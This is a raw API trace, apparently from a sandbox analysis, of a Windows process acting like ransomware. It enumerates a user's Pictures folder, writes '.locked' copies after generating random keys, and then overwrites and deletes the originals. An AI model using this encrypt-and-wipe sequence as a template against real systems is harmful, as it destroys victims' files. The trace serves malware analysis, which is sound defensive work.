	[0080.403] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee83c*=0x47) returned 1
	[0080.405] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\reXngcfSm.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\rexngcfsm.gif")) returned 1
	[0080.423] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.424] SetEvent (hEvent=0xa8) returned 1
	[0080.424] SetEvent (hEvent=0xb4) returned 1
	[0080.428] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.428] SetEvent (hEvent=0xb4) returned 1
	[0080.429] SetEvent (hEvent=0x8c) returned 1
	[0080.429] SetEvent (hEvent=0x78) returned 1
	[0080.429] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.429] SetEvent (hEvent=0x78) returned 1
	[0080.431] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.431] SetEvent (hEvent=0x78) returned 1
	[0080.431] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.431] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.431] SetEvent (hEvent=0x78) returned 1
	[0080.431] SetEvent (hEvent=0x8c) returned 1
	[0080.432] SetEvent (hEvent=0xb4) returned 1
	[0080.432] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.432] SetEvent (hEvent=0xb4) returned 1
	[0080.432] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\reXngcfSm.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\rexngcfsm.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.433] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0080.433] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0080.451] CloseHandle (hObject=0xc0) returned 1
	[0080.451] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\reXngcfSm.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\rexngcfsm.gif")) returned 1
	[0080.454] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\zCLjZMwrt1AvhmSw5e4k.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\zcljzmwrt1avhmsw5e4k.gif"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7eda2c0, ftCreationTime.dwHighDateTime=0x1d4cf9e, ftLastAccessTime.dwLowDateTime=0x6b3e5a20, ftLastAccessTime.dwHighDateTime=0x1d4cc52, ftLastWriteTime.dwLowDateTime=0x6b3e5a20, ftLastWriteTime.dwHighDateTime=0x1d4cc52, nFileSizeHigh=0x0, nFileSizeLow=0x4739)) returned 1
	[0080.454] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\zCLjZMwrt1AvhmSw5e4k.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\zcljzmwrt1avhmsw5e4k.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.455] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0080.455] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\zCLjZMwrt1AvhmSw5e4k.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\zcljzmwrt1avhmsw5e4k.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0080.455] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0080.455] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0080.456] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796110 | out: pbBuffer=0x12796110) returned 1
	[0080.456] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0080.456] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0080.458] SetEvent (hEvent=0x8c) returned 1
	[0080.458] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x4739, lpOverlapped=0x0) returned 1
	[0080.459] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x4739, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x4739, lpOverlapped=0x0) returned 1
	[0080.460] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0080.460] CloseHandle (hObject=0xc4) returned 1
	[0080.460] CloseHandle (hObject=0xc0) returned 1
	[0080.460] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.461] SetEvent (hEvent=0x8c) returned 1
	[0080.461] SetEvent (hEvent=0xb4) returned 1
	[0080.461] SetEvent (hEvent=0x78) returned 1
	[0080.461] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.461] SetEvent (hEvent=0xa8) returned 1
	[0080.461] SetEvent (hEvent=0x78) returned 1
	[0080.461] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12408000*, nNumberOfCharsToWrite=0x52, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12408000*, lpNumberOfCharsWritten=0x127ee83c*=0x52) returned 1
	[0080.463] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\zCLjZMwrt1AvhmSw5e4k.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\zcljzmwrt1avhmsw5e4k.gif")) returned 1
	[0080.481] SetEvent (hEvent=0xb4) returned 1
	[0080.485] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.485] SetEvent (hEvent=0xb4) returned 1
	[0080.485] SetEvent (hEvent=0x78) returned 1
	[0080.485] SetEvent (hEvent=0x8c) returned 1
	[0080.485] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.486] SetEvent (hEvent=0x8c) returned 1
	[0080.487] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.488] SetEvent (hEvent=0x8c) returned 1
	[0080.488] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.488] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.488] SetEvent (hEvent=0x8c) returned 1
	[0080.488] SetEvent (hEvent=0x78) returned 1
	[0080.488] SetEvent (hEvent=0xb4) returned 1
	[0080.488] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.489] SetEvent (hEvent=0xb4) returned 1
	[0080.489] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\zCLjZMwrt1AvhmSw5e4k.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\zcljzmwrt1avhmsw5e4k.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.490] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0080.490] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0080.507] CloseHandle (hObject=0xc0) returned 1
	[0080.507] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\zCLjZMwrt1AvhmSw5e4k.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\zcljzmwrt1avhmsw5e4k.gif")) returned 1
	[0080.510] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\K phBlWgzvYhpT-HA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\k phblwgzvyhpt-ha.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf935c60, ftCreationTime.dwHighDateTime=0x1d4cacb, ftLastAccessTime.dwLowDateTime=0xfdc28200, ftLastAccessTime.dwHighDateTime=0x1d4d0e8, ftLastWriteTime.dwLowDateTime=0xfdc28200, ftLastWriteTime.dwHighDateTime=0x1d4d0e8, nFileSizeHigh=0x0, nFileSizeLow=0xa9fc)) returned 1
	[0080.510] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\K phBlWgzvYhpT-HA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\k phblwgzvyhpt-ha.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.511] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0080.511] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\K phBlWgzvYhpT-HA.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\k phblwgzvyhpt-ha.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0080.511] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0080.512] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0080.512] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796110 | out: pbBuffer=0x12796110) returned 1
	[0080.512] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416181 | out: pbBuffer=0x12416181) returned 1
	[0080.512] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0080.514] SetEvent (hEvent=0x78) returned 1
	[0080.515] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0xa9fc, lpOverlapped=0x0) returned 1
	[0080.516] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xa9fc, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0xa9fc, lpOverlapped=0x0) returned 1
	[0080.517] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0080.517] CloseHandle (hObject=0xc4) returned 1
	[0080.517] CloseHandle (hObject=0xc0) returned 1
	[0080.518] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0080.518] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.518] SetEvent (hEvent=0x78) returned 1
	[0080.518] SetEvent (hEvent=0xb4) returned 1
	[0080.518] SetEvent (hEvent=0x8c) returned 1
	[0080.518] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.519] SetEvent (hEvent=0xa8) returned 1
	[0080.519] SetEvent (hEvent=0x8c) returned 1
	[0080.519] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x41, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee8a0*=0x41) returned 1
	[0080.520] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\K phBlWgzvYhpT-HA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\k phblwgzvyhpt-ha.png")) returned 1
	[0080.538] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.601] SetEvent (hEvent=0xa8) returned 1
	[0080.601] SetEvent (hEvent=0xb4) returned 1
	[0080.606] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.609] SetEvent (hEvent=0xb4) returned 1
	[0080.609] SetEvent (hEvent=0x8c) returned 1
	[0080.609] SetEvent (hEvent=0x78) returned 1
	[0080.609] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.614] SetEvent (hEvent=0x78) returned 1
	[0080.616] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.616] SetEvent (hEvent=0x78) returned 1
	[0080.616] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.616] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.617] SetEvent (hEvent=0x78) returned 1
	[0080.617] SetEvent (hEvent=0x8c) returned 1
	[0080.617] SetEvent (hEvent=0xb4) returned 1
	[0080.617] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.617] SetEvent (hEvent=0xb4) returned 1
	[0080.617] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\K phBlWgzvYhpT-HA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\k phblwgzvyhpt-ha.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.618] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0080.618] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0080.637] CloseHandle (hObject=0xc0) returned 1
	[0080.637] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\K phBlWgzvYhpT-HA.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\k phblwgzvyhpt-ha.png")) returned 1
	[0080.640] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\beP_ w_LG-sZuMdDHdVG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bep_ w_lg-szumddhdvg.gif"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d193280, ftCreationTime.dwHighDateTime=0x1d4d0d6, ftLastAccessTime.dwLowDateTime=0x8a969870, ftLastAccessTime.dwHighDateTime=0x1d4c5fd, ftLastWriteTime.dwLowDateTime=0x8a969870, ftLastWriteTime.dwHighDateTime=0x1d4c5fd, nFileSizeHigh=0x0, nFileSizeLow=0x12c0)) returned 1
	[0080.640] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\beP_ w_LG-sZuMdDHdVG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bep_ w_lg-szumddhdvg.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.641] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0080.641] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\beP_ w_LG-sZuMdDHdVG.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bep_ w_lg-szumddhdvg.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0080.641] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0080.642] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0080.642] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796110 | out: pbBuffer=0x12796110) returned 1
	[0080.642] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416281 | out: pbBuffer=0x12416281) returned 1
	[0080.642] WriteFile (in: hFile=0xc4, lpBuffer=0x1240b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x1240b000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0080.644] SetEvent (hEvent=0x8c) returned 1
	[0080.644] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x12c0, lpOverlapped=0x0) returned 1
	[0080.646] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x12c0, lpOverlapped=0x0) returned 1
	[0080.646] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0080.646] CloseHandle (hObject=0xc4) returned 1
	[0080.656] CloseHandle (hObject=0xc0) returned 1
	[0080.656] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12696000*, nNumberOfCharsToWrite=0x44, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x12696000*, lpNumberOfCharsWritten=0x127ee8a0*=0x44) returned 1
	[0080.657] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.658] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\beP_ w_LG-sZuMdDHdVG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bep_ w_lg-szumddhdvg.gif")) returned 1
	[0080.676] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.676] SetEvent (hEvent=0xa8) returned 1
	[0080.676] SetEvent (hEvent=0x8c) returned 1
	[0080.681] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.681] SetEvent (hEvent=0x8c) returned 1
	[0080.681] SetEvent (hEvent=0x80) returned 1
	[0080.681] SetEvent (hEvent=0x78) returned 1
	[0080.681] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.681] SetEvent (hEvent=0x78) returned 1
	[0080.683] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.683] SetEvent (hEvent=0x78) returned 1
	[0080.683] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.684] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.684] SetEvent (hEvent=0x78) returned 1
	[0080.684] SetEvent (hEvent=0x80) returned 1
	[0080.684] SetEvent (hEvent=0x8c) returned 1
	[0080.684] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.684] SetEvent (hEvent=0x8c) returned 1
	[0080.684] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\beP_ w_LG-sZuMdDHdVG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bep_ w_lg-szumddhdvg.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.685] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0080.685] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0080.701] CloseHandle (hObject=0xc0) returned 1
	[0080.701] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\beP_ w_LG-sZuMdDHdVG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bep_ w_lg-szumddhdvg.gif")) returned 1
	[0080.705] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8)) returned 1
	[0080.705] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\printhood"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0080.705] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\recent"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0080.705] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0080.705] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0080.705] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0080.706] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
